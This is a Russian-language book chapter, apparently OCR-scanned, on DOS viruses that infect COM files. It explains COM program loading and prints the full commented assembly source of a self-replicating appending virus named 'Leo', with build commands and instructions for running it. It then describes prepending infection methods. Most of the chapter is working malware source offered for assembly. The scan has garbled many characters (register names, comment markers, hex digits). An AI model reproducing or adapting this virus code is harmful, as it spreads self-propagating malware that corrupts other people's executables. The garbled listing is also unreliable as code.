СОМ-ВИРУСЫ
В этой главе рассказано
об ал-
горитмах работы вирусов,
заражающих СОМ-файлы,
и способах их внедрения. Пред-
ставлен исходный текст од-
ного из таких вирусов с под-
робными комментариями.
Также приведены основные све-
дения о структуре и принци-
пах работы СОМ-программы.
10 СОМ-вирусы
Компьютерные вирусы могут
"гнездиться" в самых неожиданных мес-
тах, например, в записи начальной загрузки MBR (master
boot record),
в исполняемых файлах типа СОМ и ЕХЕ, в файлах
динамических биб-
лиотек DLL и даже в документах текстового
процессора Microsoft Word
for Windows. В этом разделе подробно рассматривается
строение виру-
са, поражающего СОМ-файлы.
Структура и процесс загрузки СОМ-программы
Что же представляет собой
СОМ-программа, как она загружается
в память и запускается?
Структура СОМ-программы
предельно проста - она содержит только
код и данные программы, не имея даже заголовка.
Размер СОМ-про-
граммы ограничен размером одного сегмента
(64Кбайт).
И еще два понятия, которые часто будут встречаться:
Program Segment Prefix (PSP) - область
памяти размером 256 (OlOOh)
байт, предшествующая программе при ее загрузке.
PSP содержит дан-
ные командной строки и относящиеся к программе
переменные.
Disk Transfer Address (DTA) - блок
данных, содержащий адреса обмена
данными с файлом (чтение или запись). Область DTA
для работы
с файлом используют многие функции, в том числе и
не производящие
чтение или запись в файл. Примером может служить
функция 4Eh
(найти первый файл по шаблону), которая будет
неоднократно встре-
чаться в листингах программ.
Загрузка СОМ-программы в память и ее запуск происходят так:
1. Определяется сегментный
адрес свободного участка памяти доста-
точного для размещения программы размера.
2. Создается и заполняется блок памяти для переменных среды.
3. Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP;
сегментЮЮОЬ - программа). В
поля PSP заносятся соответствую-
щие значения.
4. Устанавливается адрес DTA равным PSP:0080h.
5. Загружается СОМ-файл с адреса PSP:0100h.
6. Значение регистра АХ
устанавливается в соответствии с парамет-
рами командной строки.
7. Регистры DS, ES и SS
устанавливаются на сегмент PSP и програм-
мы (PSP.-OOOOh).
8. Регистр SP
устанавливается на конец сегмента, после чего в
стек за-
писывается OOOOh.
9. Происходит запуск программы с адреса PSP:0100h.
СОМ-программа всегда
состоит из одного сегмента и запускается со
смещения OlOOh.
Простейший СОМ-вирус
В начале СОМ-файла обычно
находится команда безусловного перехода
JMP, состоящая из трех байт. Первый байт содержит
код команды OE9h,
следующие два - адрес перехода. Поскольку
рассматриваемый ниже ви-
рус учебный, он будет заражать только СОМ-файлы,
начинающиеся
с команды JMP. Благодаря простому строению
СОМ-файла в него очень
просто добавить тело вируса и затем указать его
адрес в команде JMP.
На рис. 1.1. показано заражение файла таким
способом.
После загрузки
зараженного файла управление получает вирус.
Закон-
чив работу, вирус восстанавливает оригинальный
JMP и передает уп-
равление программе, как показано на рис. 1.2.
Что же делает
рассматриваемый вирус? После старта он ищет в
теку-
щем каталоге СОМ-программы. Для этого
используется функция 4Eh
(найти первый файл):
Тело вируса записывается
в конец файла,
туда же переносится оригинальный JMP,
на место которого записывается инструкция
JMP на тело вируса.
Рис. 1.1.
;Ищем первый файл по шаблону
имени
mov ah,4Eh
mov dx,offset fname - offset myself
add dx.bp
mov cx,00100111b
int 21h
Затем вирус проверяет (по
первому байту файла), подходят ли ему най-
денные СОМ-программы:
[Открываем файл
Open:
mov ax,3D02h
mov dx,9Eh
int 21h
;Если при открытии файла ошибок
не произошло,
;переходим к чтению, иначе выходим из вируса
jnc See_Him
jmp exit
; Читаем первый байт файла
See_Him:
xchg bx,ax
mov ah,3Fh
mov dx,offset buf-offset myself
add dx.bp
xor ex,ex ;CX=0
inc ex [(увеличение на 1) СХ=1
int 21h
Сравниваем. Если первый байт файла
;не E9h, то переходим к поиску следующего
.файла - этот для заражения не подходит
cmp byte ptr [bp+(offset buf-offset myself )],OE9h
jne find_next
Перед заражением файла
вирус проверяет сигнатуру - не исключено,
что файл уже заражен:
Переходим в конец файла (на
последний байт)
mov ax,4200h
xor ex,ex
mov dx,[bp+(offset flen-offset MySelf)]
dec dx
int 21h
;Читаем сигнатуру вируса
Read:
mov ah,3Fh
xor ex,ex
inc ex
mov dx.offset bytik-offset myself
add dx.bp
int 21h
.Если при чтении файла ошибок не произошло,
[Проверяем сигнатуру,
;иначе ищем следующий файл
jnc test_bytik
jmp find_next
[Проверяем сигнатуру
Test_bytik:
cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte
;Если сигнатура есть, то ищем
другой файл,
.если ее нет - будем заражать
je find_next2
jmp NotJnfected
Затем, в соответствии с
предложенной схемой, вирус дописывается
в конец файла-жертвы и устанавливает адрес
перехода на самого себя:
[Переходим в конец файла
mov ax,4202h
xor ex,ex
xor dx.dx
int 21h
Останавливаем регистр DS на
сегмент кода
push cs
pop ds
[Копируем вирус в файл
mov ah,40h
mov cx.offset VirEnd-offset la
mov dx,bp
sub dx,offset myself-offset la
int 21h
[Записываем в начало файла
переход на тело вируса
Write_Jmp:
.Переходим в начало файла
xor сх.сх
xor dx,dx
mov ax,4200h
int 21h
[Записываем первые три байта
файла (переход на тело вируса)
mov ah,40h
mov сх,3
mov dx, offset jmpvir-offset myself
add dx.bp
int 21h
После того, как вирус
закончит свою работу, он восстанавливает
в исходное состояние первые три байта программы
(в памяти компью-
тера) и передает управление на начало программы.
Далее, при
запуске зараженного файла, управление сначала
получает вирус, затем -
исходная программа. Благодаря такой схеме работы
рассматриваемый
вирус может спокойно
существовать, будучи один раз выпущенным
на волю.
Как запустить вирус? В
любом текстовом редакторе создается файл
LEO.ASM, содержащий исходный текст вируса, затем
этот файл компи-
лируется и компонуется готовая программа.
Например, в системе про-
граммирования Turbo Assembler последние два этапа
выполняются та-
кими командами:
tasm.exe leo.asm
tlink leo.obj/t
В итоге получился файл
LEO.COM, содержащий готовый СОМ-вирус.
Для проверки работы вируса можно создать
отдельный каталог и ско-
пировать в него этот файл, а также несколько
других СОМ-файлов.
После запуска LEO.COM вирус внедрится во все
остальные СОМ-фай-
лы. Не стоит бояться, что будет заражен сразу весь
компьютер - вирус
распространяется только в текущем каталоге. Ниже
приводится исход-
ный текст вируса:
.286 .Устанавливаем тип
процессора
CheckByte equ OFOh
[Указываем, что регистры CS и DS
содержат
;адрес сегмента кода программы
assume cs:code, ds:code
;Начало сегмента кода. В конце
программы сегмент кода нужно
;закрыть - "code ends"
code segment
Останавливаем смещения в сегменте кода.
Данная строчка обязательна
;для СОМ-программы (все СОМ-программы
начинаются с адреса 100h)
org 100h
start:
;Имитируем зараженный СОМ-файл.
;Тело вируса начинается с метки la
; jmp la
db OE9h ;Код команды JMP
dw offset la-offset real
real:
[Выходим из программы
mov ah,4Ch
int 21 h
;3десь начинается тело вируса
la:
;Сохраняем регистры и флаги
pushf
pusha
push ds es
.Получаем точку входа.
;Для этого вызываем подпрограмму (следующий
;за вызовом адрес) и читаем из стека адрес возврата
call MySelf
MySelf:
pop bp
восстанавливаем первые три
байта исходной программы
mov al,[bp+(offset bytes_3[0]-offset MySelf)]
mov byte ptr cs:[100h],al
mov al,[bp+(offset bytes_3[1]-offset MySelf)]
mov byte ptr cs:[101h],al
mov al,[bp+(offset bytes_3[2]-offset MySelf)]
mov byte ptr cs:[102h],al
[Дальнейшая задача вируса - найти новую жертву.
;Для этого используется функция 4Eh (Найти первый файл).
;Ищем файл с любыми атрибутами
Find_First:
.Ищем первый файл по шаблону
имени
mov ah,4Eh
mov dx.offset fname-offset myself
add dx.bp
mov cx,00100111b
int 21 h
;Если файл найден - переходим к
смене атрибутов, иначе выходим
;из вируса (здесь нет подходящих для заражения
файлов)
jnc attributes
jmp exit
attributes:
.Читаем оригинальные атрибуты
файла
mov ax,4300h
mov dx,9Eh .Адрес имени файла
int 21 h
.Сохраняем оригинальные
атрибуты файла
push ex
•.Устанавливаем новые атрибуты
файла
mov ax,4301h
mov dx,9Eh .Адрес имени файла
mov cx,20h
int 21 h
Переходим к открытию файла
jmp Open
;Ищем следующий файл, так как
предыдущий не подходит
FincLNext:
;Восстанавливаем оригинальные
атрибуты файла
mov ax,4301h
mov dx,9Eh ;Адрес имени файла
pop сх
int 21 h
[Закрываем файл
mov ah,3Eh
int 21 h
;Ищем следующий файл
mov ah,4Fh
int 21 h
;Если файл найден - переходим к
смене атрибутов, иначе выходим
;из вируса (здесь нет подходящих для заражения
файлов)
jnc attributes
jmp exit
.-Открываем файл
Open:
mov ax,3D02h
mov dx,9Eh
int 21 h
;Если при открытии файла ошибок
не произошло -
.переходим к чтению, иначе выходим из вируса
jnc See_Him
jmp exit
;Читаем первый байт файла
See_Him:
xchg bx.ax
mov ah,3Fh
mov dx.offset buf-offset myself
add dx,bp
xor ex,ex ;CX=0
inc ex [(увеличение на 1) СХ=1
int 21 h
.Сравниваем. Если первый байт файла
;не E9h, то переходим к поиску следующего файла -
;этот для заражения не подходит
cmp byte ptr [bp+(offset buf-offset myself )],OE9h
jne find_next
; Переходим в начало файла
mov ax,4200h
xor ex,ex
xor dx.dx
int 21 h
[Читаем первые три байта файла в
тело вируса
See_Him2:
mov ah,3Fh
mov dx,offset bytes_3-offset myself
add dx.bp
mov cx,3
int 21 h
.Получаем длину файла, для чего
переходим в конец файла
Testik:
mov ax,4202h
xor ex,ex
xor dx.dx
int 21h
Size_test:
;Сохраняем полученную длину файла
mov [bp+(offset flen-offset MySelf)],ax
[Проверяем длину файла
cmp ax.64000
;Если файл не больше 64000 байт,- переходим
;к следующей проверке,
;иначе ищем другой файл (этот слишком велик для заражения)
jna richJest
jmp find_next
Проверим, не заражен ли файл.
;Для этого проверим сигнатуру вируса
RichJest:
[Переходим в конец файла (на
последний байт)
mov ax,4200h
xor сх.сх
mov dx,[bp+(offset flen-offset MySelf)]
dec dx
int 21h
;Читаем сигнатуру вируса
Read:
mov ah,3Fh
xor ex,ex
inc ex
mov dx,offset bytik-offset myself
add dx.bp
int 21 h
;Если при чтении файла ошибок
;не произошло - проверяем сигнатуру,
.иначе ищем следующий файл
jnc test_bytik
jmp tind_next
;Проверяем сигнатуру
Test_bytik:
cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte
;Если сигнатура есть, то ищем
другой файл,
.если нет - будем заражать
jne NotJnfected
jmp find_next
.Файл не заражен - будем заражать
NotJnfected:
mov ax,[bp+(offset flen-offset myself)]
sub ax,03h
mov [bp+(offset jmp_cmd-offset myself)],ax
l_am_copy:
.Переходим в конец файла
mov ax,4202h
xor ex,ex
xor dx.dx
int 21 h
[Устанавливаем регистр DS на
сегмент кода
push cs
pop ds
.Копируем вирус в файл
mov ah,40h
mov ex,offset VirEnd-offset la
mov dx.bp
sub dx,offset myself-offset la
int 21 h
Записываем в начало файла
переход на тело вируса
Write_Jmp:
.Переходим в начало файла
хог сх.сх
xor dx,dx
mov ax,4200h
int 21 h
[Записываем первые три байта
файла (переход на тело вируса)
mov ah,40h
mov сх,3
mov dx.offset jmpvir-offset myself
add dx.bp
int 21h
;3акрываем файл
Close:
mov ah,3Eh
int 21h
;Восстанавливаем оригинальные атрибуты файла
mov ax,4301h
mov dx,9Eh
pop ex
int 21h
exit:
восстанавливаем первоначальные
значения регистров и флагов
pop es ds
рора
popf
Передаем управление
программе-носителю
push 100h
retn
-.Байт для чтения сигнатуры
bytik db (?)
.Зарезервировано для изменения
трех байт вируса
jmpvir db OE9h
jmp_cmd dw (?)
;Длина файла
flen dw (?)
;Шаблон для поиска файлов
fname db "*.com",0
;0бласть для хранения команды
перехода
bytes_3 db 90h, 90h, 90h
;Байт памяти для чтения первого
байта файла
;с целью проверки (Е9п)
buf db (?)
;Название вируса
virus_name db "Leo"
;Сигнатура
a db CheckByte
VirEnd:
code ends
end start
Способы внедрения СОМ-вирусов
Рассмотренный вирус
дописывался в конец файла, а в начало файла
вписывал переход на себя. Существуют и другие
способы внедрения
вирусов.
Рассмотрим два варианта
внедрения СОМ-вируса в начало файла.
Вариант первый. Вирус переписывает начало
программы в конец файла,
чтобы освободить место для себя. После этого тело
вируса записывает-
ся в начало файла, а небольшая его часть,
обеспечивающая перенос вы-
тесненного фрагмента программы, на прежнее место
- в конец. При вос-
становлении первоначального вида программы тело
вируса будет
затерто, поэтому код вируса, восстанавливающий
программу, должен
находиться в безопасном месте, отдельно от
основного тела вируса.
Этот способ внедрения изображен на рис. 1.3.
Рис. 1.3.
При загрузке зараженного
таким способом файла управление получит
вирус (так как он находится в начале файла и будет
загружен с адреса
OlOOh). После окончания работы вирус передает
управление коду, пере-
носящему вытесненную часть программы на прежнее
место. После вос-
становления (в памяти, не в файле)
первоначального вида программы,
она запускается. Схема работы вируса изображена
на рис. 1.4.
Второй вариант отличается
от первого тем, что вирус, освобождая для
себя место, сдвигает все тело программы, а не
переносит ее часть в ко-
нец файла. Этот способ внедрения изображен на
рис. 1.5.
После запуска зараженной
программы, как и в предыдущем случае,
управление получает вирус. Дальнейшая работа
вируса отличается
только тем, что часть вируса, восстанавливающая
первоначальный вид
программы, переносит к
адресу OlOOh все тело программы, а не только
вытесненную часть. Схема работы вируса,
заражающего файл таким
образом, приведена на рис. 1.6.
Существуют разновидности
вирусов, не дописывающие часть своего
тела в конец файла. К примеру, вирус может
внедряться в середину
файла. В этом случае алгоритм работы вируса
является смесью алгорит-
мов одного из двух только что описанных вирусов и
вируса, описанно-
го в разделе "Простейший СОМ-вирус".